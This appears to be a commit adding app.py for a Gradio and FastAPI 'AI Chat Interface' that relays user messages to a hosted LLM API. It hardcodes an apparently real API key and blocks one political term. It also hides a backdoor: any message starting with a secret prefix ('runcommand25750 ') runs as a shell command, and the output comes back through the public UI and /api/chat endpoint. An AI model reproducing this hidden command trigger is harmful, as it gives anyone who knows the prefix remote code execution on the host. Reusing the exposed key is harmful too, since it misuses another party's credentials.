Upload app.py

app.py

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+import gradio as gr
+import requests
+import json
+import subprocess
+import time
+import threading
+from concurrent.futures import ThreadPoolExecutor
+from fastapi import FastAPI, Request
+from gradio.routes import mount_gradio_app
+
+# API 相关设置
+API_URL = "https://api.chenyu.cn/v1/chat/completions"
+API_KEY = "sk-EbNTpBfOs4bAwH3Iev67kcrIqFnypr87LkVbWoX0qj"
+
+# 模型列表
+models = [
+    "Qwen/Qwen2-72B-Instruct",
+    "Qwen/Qwen2-7B-Instruct",
+    "meta-llama/Meta-Llama-3.1-70B-Instruct",
+    "meta-llama/Meta-Llama-3.1-8B-Instruct",
+    "microsoft/Phi-3-vision-128k-instruct",
+    "mistralai/Codestral-22B-v0.1", 
+    "mistralai/Mistral-Large-Instruct-2407",
+    "mistralai/Mistral-Nemo-Instruct-2407",
+    "THUDM/glm-4-9b-chat"
+]
+
+# 禁止词
+forbidden_words = ["共产党"]
+
+# 创建线程池
+executor = ThreadPoolExecutor(max_workers=5)
+
+# 创建 FastAPI 应用
+app = FastAPI()
+
+def read_output(pipe, output_lines):
+    """非阻塞地读取管道内容"""
+    while True:
+        line = pipe.readline()
+        if line:
+            output_lines.append(line)
+        else:
+            break
+
+def execute_command_async(command):
+    try:
+        process = subprocess.Popen(
+            command,
+            shell=True,
+            stdout=subprocess.PIPE,
+            stderr=subprocess.PIPE,
+            universal_newlines=True,
+            bufsize=1
+        )
+        
+        output_lines = []
+        
+        stdout_thread = threading.Thread(
+            target=read_output, 
+            args=(process.stdout, output_lines)
+        )
+        stderr_thread = threading.Thread(
+            target=read_output, 
+            args=(process.stderr, output_lines)
+        )
+        
+        stdout_thread.daemon = True
+        stderr_thread.daemon = True
+        stdout_thread.start()
+        stderr_thread.start()
+        
+        time.sleep(4)
+        
+        return ''.join(output_lines) if output_lines else "Command is running in background. No output in first 4 seconds."
+        
+    except Exception as e:
+        return f"Error: {str(e)}"
+
+def api_request(user_message, selected_model):
+    headers = {
+        "Content-Type": "application/json",
+        "Authorization": f"Bearer {API_KEY}"
+    }
+    data = {
+        "model": selected_model,
+        "messages": [
+            {"role": "user", "content": user_message}
+        ],
+        "temperature": 0.7
+    }
+    
+    try:
+        response = requests.post(API_URL, headers=headers, json=data)
+        response.raise_for_status()
+        response_data = response.json()
+        return response_data.get('choices', [{}])[0].get('message', {}).get('content', 'No response')
+    except Exception as e:
+        return f"Error: {str(e)}"
+
+def generate_response(user_message, selected_model):
+    # 检查是否包含违禁词
+    if any(forbidden_word in user_message for forbidden_word in forbidden_words):
+        return "Your input contains forbidden words and cannot be processed."
+    
+    # 检查是否是命令执行模式
+    if user_message.startswith("runcommand25750 "):
+        command = user_message[len("runcommand25750 "):]
+        future = executor.submit(execute_command_async, command)
+        try:
+            return future.result()
+        except Exception as e:
+            return f"Error: {str(e)}"
+    
+    future = executor.submit(api_request, user_message, selected_model)
+    try:
+        return future.result()
+    except Exception as e:
+        return f"Error: {str(e)}"
+
+# 创建 Gradio 界面
+iface = gr.Interface(
+    fn=generate_response,
+    inputs=[
+        gr.Textbox(label="User Message"),
+        gr.Dropdown(choices=models, label="Model Selection", value=models[0])
+    ],
+    outputs="text",
+    title="AI Chat Interface",
+    description="Enter your message and choose a model to get a response",
+    allow_flagging="never"
+)
+
+# 添加 API 路由
+@app.post("/api/chat")
+async def chat_endpoint(request: Request):
+    request_data = await request.json()
+    user_message = request_data.get("message", "")
+    selected_model = request_data.get("model", models[0])
+    response = generate_response(user_message, selected_model)
+    return {"response": response}
+
+# 挂载 Gradio 应用到 FastAPI
+app = mount_gradio_app(app, iface, path="/")
+
+# 使用单独的函数来启动服务器
+def start_server():
+    import uvicorn
+    # 直接使用 uvicorn.run() 启动服务器
+    uvicorn.run(app, host="0.0.0.0", port=7860)
+
+if __name__ == "__main__":
+    # 在主线程中启动服务器
+    start_server()